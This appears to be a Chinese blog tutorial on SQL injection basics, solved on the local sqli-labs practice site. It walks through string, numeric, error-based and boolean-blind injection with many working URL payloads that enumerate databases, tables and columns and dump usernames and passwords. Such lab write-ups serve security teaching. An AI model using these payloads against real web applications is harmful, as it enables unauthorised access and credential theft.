SQL注入基础详解

目录

前言

字符型注入

数字型注入

报错注入

布尔盲注

 


前言

注入点类型分类

    数字型:
    select * from tabname where id = 1

    字符型:
    select * from tabname where id = '1’

    搜索型:
    select * from tabname where id like '%1%'

判断类型流程

    输入 1
    假设存在查询结果,但是此时无法区分注入点类型
    输入 1 and 1 = 1
    对于数字型注入点:
    select * from tabname where id= 1 and 1 = 1,会有查询结果
    对于字符型注入点:
    select * from tabname where id= ‘1 and 1 = 1’,不会有查询结果
    对于搜索型注入点:
    select * from tabname where id like ‘%1 and 1 = 1%’,不会有查询结果
    此步骤可以检测数字型注入点。
    输入 1’ and ‘1’='1
    对于字符型注入点:
    select * from tabname where id= ‘1’ and ‘1’=‘1’,会有查询结果
    对于搜索型注入点:
    select * from tabname where id like ‘%1’ and ‘1’=‘1%’,不会有查询结果
    此步骤可以检测字符型注入点。
    排除掉数字型和字符型,剩下的可能就是搜索型注入点。

字符型注入

http://127.0.0.1/sqli-labs-master/Less-1/
#正常页面

SQL注入基础详解_第1张图片

?id=1

SQL注入基础详解_第2张图片

?id=1'
#单引号报错 1 后边多了一个单引号

?id=1"
#双引号正常

SQL注入基础详解_第3张图片

界面异常说明存在注入点
?id=1'--+
#  --+  注释符号,注释掉后边的语句
?id=1 and 1=2
#没有变化 说明是单引号字符型注入

SQL注入基础详解_第4张图片

order by 语句判断数据列数
?id=1' order by4--+
#4报错说明只有三列

SQL注入基础详解_第5张图片

union select 联合查询语句
?id=100' union select 1,2,3--+
#1,2是一个、1,2,3,4是三个、都报错
所以显示位是两位。

SQL注入基础详解_第6张图片

爆破数据库库
?id=100' union select 1,2,group_concat(schema_name)from information_schema.schemata--+

SQL注入基础详解_第7张图片

查询数据库版本和名字
?id=100'union select 1,version(),database()--+

SQL注入基础详解_第8张图片

查询表名
?id=100' union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema='security')--+

查询列
?id=100' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name ='users') --+
​
查询用户
?id=100'union select 1,2,group_concat(username) from security.users--+

查询用户密码
?id=100' union select 1,2,group_concat(username,0x3a,password) from users --+

数字型注入

http://127.0.0.1/sqli-labs-master/Less-2/

SQL注入基础详解_第9张图片

?id=1

SQL注入基础详解_第10张图片

?id=1'

?id=1"

?id=1 and 1=1
#回显正确、数字型注入不需要闭合,字符型需要

SQL注入基础详解_第11张图片

?id=1 and 1=2
#报错、判断是数字型注入

SQL注入基础详解_第12张图片

?id=1 order by 4
#说明只有三列

SQL注入基础详解_第13张图片

?id=1 order by 3

SQL注入基础详解_第14张图片

#查询数据库版本
?id=100 union select 1,version(),database()
#相对于字符型 不需要闭合

SQL注入基础详解_第15张图片

#查询表名
?id=100 union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema='security')

SQL注入基础详解_第16张图片

#查询列
?id=100 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name ='users')

#查询字段内容
?id=100 union select 1,2,group_concat(username,0x3a,password) from users

报错注入

单引号

http://127.0.0.1/sqli-labs-master/Less-3/

SQL注入基础详解_第17张图片

?id=1

SQL注入基础详解_第18张图片

?id=1'
#报错里有一个括号

?id=1') order by 4 --+

SQL注入基础详解_第19张图片

?id=1') order by 3 --+

SQL注入基础详解_第20张图片

?id=100') union select 1,version(),database()--+
#查询数据库版本

SQL注入基础详解_第21张图片

双引号

?id=100") union select 1,version(),database()--+

SQL注入基础详解_第22张图片

布尔盲注

http://127.0.0.1/sqli-labs-master/Less-5/?id=1

SQL注入基础详解_第23张图片

?id=1'

?id=1' order by 4--+

SQL注入基础详解_第24张图片

?id=1' order by 3--+

SQL注入基础详解_第25张图片

?id=1' and left ((select database()),1)='s'--+
#函数left,测试数据库名第一个字母是否为s,通过返回“you are in"我们知道是正确的

?id=1' and left((select database()),1)<'t'--+
#有回显说明小于t

SQL注入基础详解_第26张图片

?id=1' and left((select database()),1)>'t'--+
#没有回显也说明小于t
#数据库第一个字符大于t无回显, 一点一点尝试,最终确定的库名为security

SQL注入基础详解_第27张图片

确定表名
?id=1' and left ((select table_name from information_schema. tables where table_schema=database() limit 0,1),6)= 'emails'--+
​
#回显正确 说明 有emails这个表
​
#其他的步骤还是一样,修改limit x,1和left中的位数限定数字,第一张表是emails,爆破到第二张表为referer,终于在第四张表爆破到user表,名为users。

?id=1' and left ((select table_name from information_schema. tables where table_schema=database() limit 1,1),7)= 'referer'--+

?id=1' and left ((select table_name from information_schema. tables where table_schema=database() limit 3,1),5)= 'users'--+

确定列
确定第二列是users第三列是password
​
?id=1' and left((select table_name from information_schema.columns where table_name='users' and table_schema=database() limit 1,1),8)='username'--+
#就很奇怪 刚开始不行 过了一会就又好了

?id=1' and left((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 2,1),8)='password'--+

?id=1' and left((select password from users order by id limit 0,1),4)='dump'--+

你可能感兴趣的:(漏洞top10,web安全,网络安全,sql)